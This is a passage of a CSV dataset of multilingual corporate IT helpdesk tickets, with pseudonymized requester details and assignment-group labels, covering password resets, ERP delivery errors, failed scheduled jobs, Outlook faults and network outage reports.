_x000D_ +_x000D_ +received from: kxmidsga.zokivdfa@gmail.com_x000D_ +_x000D_ +dear sir,_x000D_ +_x000D_ +please give the quote for laptop bag & projector adopter for my laptop dell latitude 7350._x000D_ +_x000D_ +_x000D_ +with best ",GRP_19 +"job Job_2584 failed in job_scheduler at: 10/19/2016 01:30:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_2584 failed in job_scheduler at: 10/19/2016 01:30:00",GRP_8 +verbindung zwischen drucker em98 und pc eemw8144353 kann nicht hergestellt werden verbindung zwischen drucker em98 und pc eemw8144353 kann nicht hergestellt werden,GRP_0 +"*deilvery block status* + +received from: nwlhcfpa.zdlfmthq@gmail.com + +hello it team, + +can you please assist to create dn for the following so# 36148274 ? we cannot create delivery. i believed this is because delivery block status has been set with ""blocked"". need to be ""not blocked."" + + +so# 361482744 +mm# +52815092 +56235173 +52842204 + +[cid:image002.png@01d22a14.9ba833d0] + + +[cid:image001.jpg@01d22a11.78bb30f0] + +",GRP_13 +"netzteil oder netzstecker defekt - pc wareneingang bitte netzteil oder netzstecker am pc evhw8114354 (wareneingang) prüfen und ggf. reparieren._x000D_ +pc lässt sich nur nach bewegen des steckers einschalten.",GRP_33 +account locked in erp SID_34 account locked in erp SID_34 ,GRP_0 +"in hub , for commstorage_product-company folder , for me it is showing access denied. in hub , for commstorage_product-company folder , for me it is showing access denied.",GRP_0 +"erp issue _x000D_ +_x000D_ +received from: ublisodp.qydfvpgw@gmail.com_x000D_ +_x000D_ +hello_x000D_ +_x000D_ +when i try to create a new mm number for items with storage location plant_62, the mm number gets created under plant_228 ,even when the storage location is specified as ""plant_62"" in the line item._x000D_ +pl rectify same._x000D_ +_x000D_ +",GRP_29 +"job Job_1967d failed in job_scheduler at: 10/19/2016 00:02:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1967d failed in job_scheduler at: 10/19/2016 00:02:00",GRP_8 +"job Job_1967d failed in job_scheduler at: 10/19/2016 00:02:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1967d failed in job_scheduler at: 10/19/2016 00:02:00",GRP_8 +: insert to d/n no. please insert the delivery note no. in erp book,GRP_18 +"t/o not generated automatically for dn 8058525297 _x000D_ +_x000D_ +received from: gjtyswkb.dpvaymxr@gmail.com_x000D_ +_x000D_ +dear it,_x000D_ +_x000D_ +would you pls help to check dn 9169636308,the t/o can not generated, ",GRP_18 +ms office 365 pro plus french has got corrupted please do the need full ms office 365 pro plus french has got corrupted please do the need full ,GRP_19 +unable to login to windows account unable to login to windows account ,GRP_0 +"my mobile phone cannot be use for skype business concall. also my initial is wrong, the right one is waitgr chdffong, sdfgwong + + +",GRP_19 +"termination for lauredwwden hwffiglhkins, + + + +a termination for lauredwwden hwffiglhkins, 11139101, effective 10/01/2016 has been approved. + + + +",GRP_2 +"job Job_3050 failed in job_scheduler at: 10/18/2016 22:38:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_3050 failed in job_scheduler at: 10/18/2016 22:38:00",GRP_8 +"job SID_37hoti failed in job_scheduler at: 10/18/2016 22:18:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job SID_37hoti failed in job_scheduler at: 10/18/2016 22:18:00",GRP_47 +"unable to access email + +received from: rxoynvgi.ntgdsehl@gmail.com + +hi it team + +kindly please assist as my staff kmvwxdti uaoyhcep unable to open his email. + +computer name : aswl8912729 +user : kthassi65a6 + +dbkdwwd wdfwsggalleh +operation supervisor +company distribution services of asia pte ltd +email : rxoynvgi.ntgdsehl@gmail.com",GRP_0 +"hello , a termination for phvwitud kvetadzo, 1113235650, effective 09/24/2016 has been approved from: [mailto:system@hr_tool.com] +sent: wednesday, october 19, 2016 12:52 am +to: nwfodmhc exurcwkm +subject: the terminate action for phvwitud kvetadzo has completed. + + + + + + hello , + +a termination for phvwitud kvetadzo, 1113235650, effective 09/24/2016 has been approved. + +click the link to view. +here + +",GRP_2 +"tracking# + +received from: gkwcxzum.answkqpe@gmail.com + +dear all + +would you please do me a favor ? +plant_69 is on the customs audit and we are preparing the document. + +referring to the attached file, using /pweaver/ship-manifest, i can't extract the tracking numbers based on dns. +would you please let me know if there is any way ? +can we not extract the old data ? + +",GRP_18 +"hello on my order below. i have 5 drop ships that will not inwarehouse_tool they customer. item 50, 70, 80, 100 and 110. from: pvjdtrya oevyhtdx [mailto:pvjdtrya.oevyhtdx@gmail.com] +sent: tuesday, october 18, 2016 9:02 pm +to: nwfodmhc exurcwkm +subject: wtykmnlg xamesrpfrop ship will not inwarehouse_tools + +hello + +on my order below. i have 5 drop ships that will not inwarehouse_tool they customer. item 50, 70, 80, 100 and 110. po # 5616726510, 5616726518 and 5616720523. + +please advise. + + + + + +please update your records with my new email address: + +pvjdtrya.oevyhtdx@gmail.com + +zurtxjbd gaotwcfd +inside sales representative +pvjdtrya.oevyhtdx@gmail.com + +",GRP_13 +"termination for brthryian lsgthhuart termination for brthryian lsgthhuart + +hello , + +a termination for brthryian lsgthhuart, 1115787569, effective 10/17/2016 has been approved. + +click the link to view. +",GRP_2 +unable to sync mails on iphone 6s unable to sync mails on iphone 6s,GRP_0 +"exchange with phone + +received from: kiduhltr.ofrdvnux@gmail.com + +hello +please can you login again my phone to server. +i changed my phone from old iphone 5s to new 6s . i want connect/get e-mails from exchange outlook on my iphone again : +iphone 6s +phone number: + +imei: + +",GRP_0 +unable to access erp unable to access erp ,GRP_0 +"用友软件问题 打开已关闭的销售订单时，显示""不能在手动或分布事物方式下创建新的链接""",GRP_48 +"job SID_43hoti failed in job_scheduler at: 10/18/2016 18:01:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job SID_43hoti failed in job_scheduler at: 10/18/2016 18:01:00",GRP_8 +"termination for yhteijwf llwlfazo, 1117529567 hello , + +a termination for yhteijwf llwlfazo, 1117529567, effective 10/18/2016 has been approved. + +click the link to view. +here +",GRP_2 +ticket update on inplant_870573 ticket update on inplant_870573,GRP_0 +"suspected spam mail this looks like spam to me, just wanted to make someone aware._x000D_ +_x000D_ +",GRP_27 +"tool data site - cannot search with out security error dwmnad macwdlmwkey - this is the error i am getting when i use any search function on + +system.outofmemoryexception: exception of type 'system.outofmemoryexception' was thrown. at system.reflection.runtimeassembly.getrawbytes(runtimeassembly assembly, objecthandleonstack retrawbytes) at system.reflection.runtimeassembly.getrawbytes() at system.security.policy.hash.getrawdata() at system.security.policy.hash.generatehash(type hashtype) at system.security.policy.hash.get_sha1() at system.web.handlers.scriptresourcehandler.getassemblyinfointernal(assembly assembly) at system.web.handlers.scriptresourcehandler.getassemblyinfo(assembly assembly) at system.web.handlers.scriptresourcehandler.runtimescriptresourcehandler.getscriptresourceurlimpl(list`1 assemblyresourcelists, boolean zip) at system.web.handlers.scriptresourcehandler.runtimescriptresourcehandler.system.web.handlers.iscriptresourcehandler.getscriptresourceurl(list`1 assemblyresourcelists, boolean zip) at system.web.handlers.scriptresourcehandler.runtimescriptresourcehandler.system.web.handlers.iscriptresourcehandler.getscriptresourceurl(assembly assembly, string resourcename, cultureinfo culture, boolean zip) at system.web.ui.scriptreference.geturlfromname(scriptmanager scriptmanager, icontrol scriptmanagercontrol, boolean zip) at system.web.ui.scriptreference.geturlinternal(scriptmanager scriptmanager, boolean zip) at system.web.ui.scriptreference.geturl(scriptmanager scriptmanager, boolean zip) at system.web.ui.scriptmanager.registeruniquescripts(list`1 uniquescripts) at system.web.ui.scriptmanager.registerscripts() at system.web.ui.scriptmanager.onpageprerendercomplete(object sender, eventargs e) at system.web.ui.page.onprerendercomplete(eventargs e) at system.web.ui.page.processrequestmain(boolean includestagesbeforeasyncpoint, boolean includestagesafterasyncpoint)",GRP_25 +password reset to login hub password reset to login hub ,GRP_0 +no display on the monitor no display on the monitor,GRP_0 +"distribution list not updating distribution list not updating _x000D_ +removed and re added it back ..waited for some time._x000D_ +it worked fine._x000D_ +issue resolved.",GRP_0 +"em event: critical:SID_37 the value of datafile size for perpsr3glovia,/oracle/SID_37/erpdata22/sr3glovia_6/sr3glovia.data6 is host=HostName_221.company.com _x000D_ +target type=database instance _x000D_ +target name=SID_37 _x000D_ +categories=capacity _x000D_ +message=the value of datafile size for perpsr3glovia,/oracle/SID_37/erpdata22/sr3glovia_6/sr3glovia.data6 is 26,800 _x000D_ +severity=critical _x000D_ +event reported time=oct 18, 2016 3:00:29 pm edt _x000D_ +event type=metric alert _x000D_ +event name=me$oracle_datafile_monitor:datafile_size _x000D_ +",GRP_1 +"cannot post delivery 8058506120 cannot post delivery 9169617231. about 153 materials were recently moved from usa warehouse to usa warehouse. we are not able to post this delivery. get error that says this material is not maintained at plant plant_192. plant_192 is usa alabama plant. (should have nothing to do with this). see attached screen shots. i am concerned that some configuration is missing to allow plant_101 to ship consignment fill up orders for this customer. (tool flo mfg.) these products are only to be stored in usa temporarily. once inventory depletes, these will be shipped direct from plant_327/plant_328 plant. we cannot miss service to this customer. please advise. ",GRP_13 +"supply_chain_software pw + +received from: bmudkpie.qolrvbip@gmail.com + +hello, + +please reset my password for supply_chain_software (user: beyhtcykea23) + +best ",GRP_0 +"assign user ""corsthroc34"" to the ad ltabthrysallotcsalesman hello, +pls assign user ""corsthroc34"" to the ad ltabthrysallotcsalesman. currently he is added to ltaballotcsalesemp but he is a sales manager. +approved by me (if it is enough as approval). + +",GRP_2 +"envoyé à partir de l’outil capture d’écran _x000D_ +_x000D_ +received from: orvsydzf.rbqtpdaz@gmail.com_x000D_ +_x000D_ +<_x000D_ +hello, <_x000D_ + <_x000D_ +i haved any access to bobj, since 3 days. please could you help me.<_x000D_ +",GRP_0 +"infopath installation for lean event ' i m not able to ""add a lean event"" through ""the webpage cannot be displayed""",GRP_0 +"job Job_1967d failed in job_scheduler at: 10/18/2016 14:02:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1967d failed in job_scheduler at: 10/18/2016 14:02:00",GRP_6 +"unable to load outlook as ost file got corrupted unable to load outlook as ost file got corrupted + +name:bthrob knrlepglper +language: +browser:microsoft internet explorer +email:xziwkgeo.gdiraveu@gmail.com +customer number: +telephone: +summary:could you please take control of my screen and let me know what is wrong with my email? ",GRP_0 +ticket update on inplant_870499 ticket update on inplant_870499,GRP_0 +"finance portal on the hub _x000D_ +_x000D_ +received from: qfcxbpht.oiykfzlr@gmail.com_x000D_ +_x000D_ +company help,_x000D_ +_x000D_ +i was unable to access the finance portal on the hub, even though i have done this in the past, receiving the below message. could you please check my permissions and let me know what i need to do to reinstate?_x000D_ +_x000D_ + ",GRP_16 +unable to access drawings unable to access drawings ,GRP_0 +update on inplant_868966 update on inplant_868966,GRP_0 +"network outage: south amerirtca site is hard down since 12:54 pm et on 10/18. what type of outage: __x___network _____circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? ___no______ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? __________12:54 pm et on 10/18.____________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? __no_____ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? _no______ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? __no____ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? _____no___ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? _________ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? ______na_____ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? ____na_______ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? ____na___ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _________________________ _x000D_ +_x000D_ +12. notified gsc ________ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +"i don't receive any team workflows anymore into my erp inbox. von: ydigzqbu xdgjizek +gesendet: dienstag, 18. oktober 2016 10:07 +an: ujxvrlzg pkaegicn +betreff: workflow inbox + +hello mr. thetadkg, + +i hope you are the right person to turn to: +suddenly i don't reeive any team workflows anymore into my erp inbox. +i am assigned to csd 51111936 and hope you can tackle this problem. +",GRP_13 +vip 2 // mobile device activation vip 2 // mobile device activation,GRP_0 +"oulook not updating +summary:my email is not update again",GRP_0 +"bex is not responding hello,_x000D_ +i have used several times in the past, but for some reason today it's not functioning properly. i get to the point where i have chosen which table to load and then it freezes and says not responding. i really need this to be working properly so that i can do my job. please help, ",GRP_9 +"need access to sharepont approved by blktuiae jzakfmhw please find attachment need access to collaboration_platform approved by blktuiae jzakfmhw please find attachment +user id : schddklnes, + website- {fc868d04-e4f5-45cb-a7b8-f33b0cc5e486}&file=emea%20dpo%20vendor%20payment%20terms%20-%20change%20log.xlsx&action=default + +",GRP_16 +"i need my password in SID_1 changed.. thanks + +received from: azxhejvq.fyemlavd@gmail.com + +userid walddkrrm234 + +mdiwjd wthaldlmdsrop +global ethics and compliance programdntys + + + +",GRP_0 +"skype _x000D_ +_x000D_ +received from: eqxyvfpi.gbaljypo@gmail.com_x000D_ +_x000D_ +hi – i have been unable to load my picture in skype – when i try to edit, it takes me to my account and does not load –_x000D_ +i have added in outlook, but does not show up in skype –_x000D_ +any ideas? –_x000D_ +",GRP_0 +"printer issue : hp office jet printer offline. not able to clear printer queue_x000D_ +cleared queue by command prompt and checked giving a uacyltoe hxgaycze print, it worked fine._x000D_ +issue resolved.",GRP_0 +uacyltoe hxgaycze call from benethrytte cthoursook uacyltoe hxgaycze call from benethrytte cthoursook,GRP_0 +"expense report submittal : refer ticket # : inplant_855783 _x000D_ +_x000D_ +received from: ytqhfmwi.itnakpmc@gmail.com_x000D_ +_x000D_ +i've attempted to submit this expense report (below) for approval and it does not appear to be moving on to approver, it only saves the report._x000D_ +_x000D_ +this happens every time i submit an expense report._x000D_ +_x000D_ +",GRP_0 +bplnyedg vobluewg placed a uacyltoe hxgaycze call : id : 1064871377 bplnyedg vobluewg placed a uacyltoe hxgaycze call : id : 1064871377,GRP_0 +"my email keeps disconnecting and i have not had internet access at all this week. from: wjslkzfr jxlbzwrp +sent: tuesday, october 18, 2016 5:59 pm +to: nwfodmhc exurcwkm +subject: - re: email and internet browser +importance: high + +hello, + +please help me. +my email keeps disconnecting and i have not had internet access at all this week. + +",GRP_0 +"no access to appreciatehub i have no access to appreciatehub.com. it says ""you may not yet be authorized to enter employee recognition site. please contact your admin...""",GRP_0 +ghost call with interaction id-1064870877 ghost call with interaction id-1064870877,GRP_0 +blank call // call came and got disconnected blank call // call came and got disconnected,GRP_0 +"id : 1064870825 id : 2175981936_x000D_ +_x000D_ +person on other side disconnected ",GRP_0 +outlook not updating outlook not updating,GRP_0 +"problem with kpm time keeping and e-time + +received from: zywoxerf.paqxtrfk@gmail.com + +dear sir: +i have two issues: + +1) on my kpm, (i) my time keep does not go forward, (ii) i submitted my time report for last week but my supervisor does not receive it, and (iii) my time keeping window, only showing one row. + +2) on my e-time, i cannot enter a new vacation time + + + +x. dathniel fangtry +senior staff engineer + +",GRP_0 +unable to see engineering_tool unable to see engineering_tool ,GRP_0 +"need file pulled from the backup - h:\manufacturing\backorder database openorderbook_v7g_rev.accdb current file is corrupt and not working_x000D_ +server name-dat1-HostName_1326 ",GRP_12 +wifi companysecure not working at sao bernardo do campo iwifi companysecure not working at sao bernardo do campo,GRP_4 +"blank call call came and got disconnected._x000D_ +private number was unable to call.",GRP_0 +blank call blank call ,GRP_0 +account lockout account lockout,GRP_0 +not able to post delivery 8058337294 get the attached error when trying to post delivery 9169448305. ,GRP_44 +"skype addin disabled name:pfzxecbo ptygkvzl +language: +browser:microsoft internet explorer +email:pfzxecbo.ptygkvzl@gmail.com +customer number: +telephone: +summary:i can not add a skype meeting link to a new meeting notice. the button is no longer there. please advise how to get it back.",GRP_0 +password reset password reset ,GRP_0 +uninstalling driver update // slimware technologies // external software uninstalling driver update // slimware technologies // external software,GRP_0 +unable to open outlook unable to open outlook,GRP_0 +"venue 11 pro 7130 vpro 2 - detachable keybankrd is having severe issues.. hello,_x000D_ +_x000D_ +please send me a replacement detachable keybankrd for my ""venue 11 pro 7130 vpro""._x000D_ +_x000D_ +the right hand keys are not working/not working properly._x000D_ +_x000D_ +it makes using the machine very problematic._x000D_ +",GRP_3 +"lost access to mii scanning name : tim hopes +email : dkxlpvnr.narxcgjh@gmail.com +telephone : +summary : two employee's lost access to mii scanning. clock numbers 20905675 and 65941543.",GRP_41 +"odbc-fehler - systemfehler 126: das angegebene modul wurde nicht gefunden. treiber nicht geladen ich möchte einen serienbrief erstellen, kann aber meine datenquelle (excelliste) nicht öffnen?_x000D_ + systemfehler 126 ??? ich bitte um hilfe! danke._x000D_ +",GRP_33 +unable to connect to internet unable to connect to internet,GRP_0 +system freezing system freezing ,GRP_0 +"erp login issue, password reset erp login issue, password reset",GRP_0 +"circuit outage: company-na-usa-usa-eh-2811-mpls-rtr01 located at usa company is down since 8.36am et on 10/18. what type of outage: _____network __x___circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? ___no____ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? ___8.36am et on 10/18___________________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? ____no___ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? ____no___ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? __yes____ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? ____yes____ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? _________ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? ___________ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? ___________ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? _______ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _____global_telecom_1(# 000000223172498)____________________ _x000D_ +_x000D_ +12. notified gsc ________ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_4 +erp SID_34 account unlock erp SID_34 account unlock,GRP_0 +"reset the password for rzxfgmcu xprwayoc on other / impact award please unlock my password. i forgot it._x000D_ +",GRP_0 +outlook issue : not loading outlook issue : not loading ,GRP_0 +password reset from password_management_tool password reset from password_management_tool,GRP_0 +please redirect to local it: word document 134257.doc broken das folgende word-dokument kann nicht mehr bearbeitet werden: \\edksm003\qs\zeugnis_kunden\134\134257\134257.doc (der cursor springt ständig auf seite 11).,GRP_49 +reset passwords for wvdxnkhf jirecvta using password_management_tool password reset. the,GRP_17 +"scheduled job needs canceled + +received from: bwfhtumx.japznrvb@gmail.com + +there is a job that had been printing out every morning on bd18. i need it cancelled. this is the one that printed today. if you look at tomorrow's date, you can see there is one released that will proint. + +[cid:image001.jpg@01d22914.f4adc7c0] + +bwfhtumx japznrvb + regional controller +bwfhtumx.japznrvb@gmail.com + + +",GRP_5 +"fc for eweausbildung for jannek hündling hallo, + +bitte für jannek hündling zugriff auf den ordner department / ausbildung. + +mit freundlichen grüßen / best ",GRP_12 +"engineering tool will not work _x000D_ +_x000D_ +received from: wlsazrce.uwehsqbk@gmail.com_x000D_ +_x000D_ +hi,_x000D_ +_x000D_ +i cannot open, close, or manipulate any of my tasks on engineering tool. this makes it difficult to work with our team in india. please have a look._x000D_ +_x000D_ +",GRP_25 +windows password reset windows password reset,GRP_0 +erp und EU_tool geht sehr langsam EU_tool funktioniert teilweise gar nicht,GRP_25 +erp complete system very slow erp SID_34 system in germany is extremly slow no delivery possilbe please help ,GRP_14 +"erp logon _x000D_ +_x000D_ +received from: xaertwdh.kcsagvpy@gmail.com_x000D_ +_x000D_ +hi_x000D_ +please assist, changed password this morning. entered old password just now. please activate?_x000D_ +_x000D_ +kind ",GRP_0 +windows account unlock windows account unlock,GRP_0 +windows account lockout windows account lockout,GRP_0 +reset password reset password,GRP_12 +erp reagiert extrem langsam transaktionen in erp dauern zu lange,GRP_0 +monitor für video messmaschine liefern \oziflwma nhgvmqdl monitor für video messmaschine liefern \oziflwma nhgvmqdl,GRP_24 +probleme mit outlook \cwivnxuk izmxqfud probleme mit outlook \cwivnxuk izmxqfud,GRP_24 +rechner optiplex790 defekt \ ewew8323670 \xpugntjv zcaermdt rechner optiplex790 defekt \ ewew8323670 \xpugntjv zcaermdt,GRP_24 +"engineering tool is not working... error: you are not authorized to view this page_x000D_ +you do not have permission to view this directory or page using the credentials that you supplied. """,GRP_25 +"outlook does not start anymore after clicking the outlook icon, the start window appears for minutes. _x000D_ +no matheywter how long you wait, the programdnty does not start. _x000D_ +also a restart of the computer brought no improvement",GRP_0 +"res: inc1559160-problem with engineering_tool for non miowvyrs qkspyrdms + +received from: qasdhyzm.yuglsrwx@gmail.com + +fyi + +qasdhyzm yuglsrwx +analyst, distributed system lan/pc +qasdhyzm.yuglsrwx@gmail.com + +de: qasdhyzm yuglsrwx +enviada em: terça-feira, 18 de outubro de 2016 08:20 +para: +cc: 'ferguss - gustaco filipim requena hp' +assunto: res: inc1559160-problem with engineering_tool for non miowvyrs qkspyrdms + +hi , + +we are waiting you, i'm available and gustavo too, i believe that you need connect in computer the gustathsvo (non-company) to solve this problem, can you connect in computer the gustathsvo now? or can be 4:00pm (ist). + +if you can streamline this process i appreciate, because gustathsvo has this problem by 2 weeks. + + +qasdhyzm yuglsrwx +analyst, distributed system c +qasdhyzm.yuglsrwx@gmail.com + +de: +enviada em: terça-feira, 18 de outubro de 2016 03:06 +para: qasdhyzm yuglsrwx > +assunto: inc1559160-problem with engineering_tool for non miowvyrs qkspyrdms + +hi , + +can you please come up with your availability aerp. it would be great if you could mention the date and time (ist) . :) +please give me a call if you could not reach out to me via skype. + +",GRP_25 +"network outage: company-russia-ups-vpn-rtr.company.com located at russia warehouse is down since 5:09 am et on 10/18. what type of outage: ___x__network _____circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? ______no___ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? ____5:09 am et on 10/18__________________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? ___no____ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? __no_____ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? ___no___ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? _____na___ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? _________ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? ___________ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? ___________ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? _______ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _________________________ _x000D_ +_x000D_ +12. notified gsc ________ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +"EU_tool is down in plant germany please restart the EU_tool server aerp, so we can run production as planned",GRP_25 +"create business partner id - vvtathadnda1 + +received from: rtpcnyhq.ceqmwkhi@gmail.com + +hello team, + +can you please create a business partner id for vvtathadnda1 in solution manager. + +rtpcnyhq ceqmwkhi + +rtpcnyhq.ceqmwkhi@gmail.com + + +",GRP_2 +"job pp_EU_tool_netch_ap1 failed in job_scheduler at: 10/18/2016 04:54:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job pp_EU_tool_netch_ap1 failed in job_scheduler at: 10/18/2016 04:54:00",GRP_8 +unable to loin to ess portable unable to loin to ess portable ,GRP_0 +"multiple app problems, user jesjnlyenmrest34 + +received from: vogtfyne.isugmpcn@gmail.com + +hello, +user gkzedilm.tkpfumeb@gmail.com [jesjnlyenmrest34] is experiencing programdnty issues with these aplications: + +engineering_tool – he can access it, create new report, unable to submit + +the computers are approximately one year old, should i rather reinstall this pc instead of trying to fix the problems separatelly? + + +best ",GRP_25 +setup EU_tool \we_wu185 \8323738 \jionmpsf wnkpzcmv setup EU_tool \we_wu185 \8323738 \jionmpsf wnkpzcmv,GRP_24 +"fc for HostName_717\sk-leitung for user mokolthrl12a hallo , + +bitte lese- u. schreibberechtigung für niptbwdq csenjruz einrichten. ist mit sbtvploj mwtrouyl besprochen. + +gruß + +lhmxposv lnpgjhus +betriebsabteilungsleiter technische dienste +lhmxposv.lnpgjhus@gmail.com + + +geschäftsführer/managing directors: phvkowml azbtkqwx, naruedlk mpvhakdq + +sitz/registered office: germany - registergerirtcht/listed in the court register: germany +persönlich haftende gesellschafterin/general partner: company company beteiligungs gmbh +sitz/registered office: fürth/bay. - registergerirtcht/listed in the court regster: fürth + +von: niptbwdq csenjruz +gesendet: montag, 17. oktober 2016 12:07 +an: jionmpsf wnkpzcmv; xmlbfjpg yegzbvru; dhoalycb yopvwrjq; lhmxposv lnpgjhus; sbtvploj mwtrouyl; joerg passiep; cwryvksu cedsairg +betreff: aw: maschinenumstellung + +bei mir klappt es nicht. + + + +mit freundlichen grüßen + +niptbwdq csenjruz +servicecenter instandhaltung +niptbwdq.csenjruz@gmail.com +",GRP_12 +insert to d/n no. please insert the delivery note no. in erp book.,GRP_18 +erp SID_34 password reset erp SID_34 password reset,GRP_0 +"purchase order print dear all + +this is jathyrsy from plant_69. +we are on the audit and the auditor would like to see po documents(hard copy). +is there any way to print po documents one time ? +if i ues me23n and zz_mails, i need to do one by one. the number of pos is more than 200. +",GRP_29 +"network outage: company-na-usa-usa-township-dmvpn-1921-rtr01 since 2:59 am et on 10/18. what type of outage: _ x____network _____circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? _____no____ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? __2:59 am et on 10/18.____________________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? _no______ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? ____no___ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? __no____ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? ____no____ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? _________ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? ____na_______ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? _ na__________ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? _______ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _________________________ _x000D_ +_x000D_ +12. notified gsc ________ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +outlook 2010 - 64 bit - prompts for password repeatedly after a password reset we are downloading the sp2 for outlook and will see if the issue is resolved once it is installed.,GRP_0 +"bitte das iphone-6 001 freischalten für mail-empfang. + +received from: rtnyumbg.yzemkhbq@gmail.com + +hallo zusammen, +bitte das iphone-6 001 freischalten für mail-empfang. +danke + +mit freundlichen grüßen +rtnyumbg yzemkhbq / tel + + +[cid:image001.jpg@01d22919.634da5c0] + + + +mit freundlichen grüßen + +rtnyumbg yzemkhbq + +techn. beratung und verkauf +rtnyumbg.yzemkhbq@gmail.com +company deutschland gmbh +max-planck-straße 13 + + +company deutschland gmbh +geschäftsführer: rfwlsoej yvtjzkaw, harald männlein, herr pinkow + + + +diese mitteilung ist einzig und allein für die nutzung durch den adressaten bestimmt und kann informationen enthalten, die schutzwürdig, vertraulich oder nach geltendem recht von der offenlegung ausgenommen sind. die verbreitung, verteilung oder vervielfältigung dieser mitteilung durch personen, bei denen es sich nicht um die beabsichtigten empfänger handelt, ist streng verboten. wenn diese mitteilung aufgrund eines versehens bei ihnen eingegangen ist, dann benachrichtigen sie bitte den absender und löschen sie diese mitteilung. +[#+company/posts>[ +select the following link to view the disclaimer in an alternate language. + + +diese mitteilung ist einzig und allein für die nutzung durch den adressaten bestimmt und kann informationen enthalten, die schutzwürdig, vertraulich oder nach geltendem recht von der offenlegung ausgenommen sind. die verbreitung, verteilung oder vervielfältigung dieser mitteilung durch personen, bei denen es sich nicht um die beabsichtigten empfänger handelt, ist streng verboten. wenn diese mitteilung aufgrund eines versehens bei ihnen eingegangen ist, dann benachrichtigen sie bitte den absender und löschen sie diese mitteilung. +[#+company/posts> [ +select the following link to view the disclaimer in an alternate language. ",GRP_0 +can you please unlock and reset password for userid bertes34 and let me know the initial password can you please unlock and reset password for userid bertes34 and let me know the initial password,GRP_0 +"user needs help to open .rar file. user needs help to open .rar file._x000D_ +-connected to the user system using teamviewer._x000D_ +-installed the application on the user system._x000D_ +-user informed he is able to open the .rar files now._x000D_ +-issue resolved.",GRP_0 +电话机没有声音 电话机没有声音,GRP_30 +"media server disconnect lpapr952(south_amerirtca south_amerirtca) received below email from inin tried to ping the server but it is not responding. + +from: cthaasnoc@gmail.com +sent: monday, october 17, 2016 11:34 pm +to: +subject: media server disconnect + + + + + +october 17, 2016 +company inc., +the cthaasnoc network operations center (noc) has received a media server disconnect alert via proactive monitoring for the following media server(s). we have opened an incident to track this alert and will close the incident when connectivity is re-established to the media server. please verify power to all devices and/or follow up with your network provider for further troubleshooting. +affected infrastructure +server: den157gic064 - 78.39.157.64, location: , united states +ind157gic064 - 78.38.157.64, location: , united states +ind157gic064 - 78.38.157.64, location: , united states +den157gic064 - 78.39.157.64, location: , united states +den157gic064 - 78.39.157.64, location: , united states +den157gic064 - 78.39.157.64, location: , united states +den157gic064 - 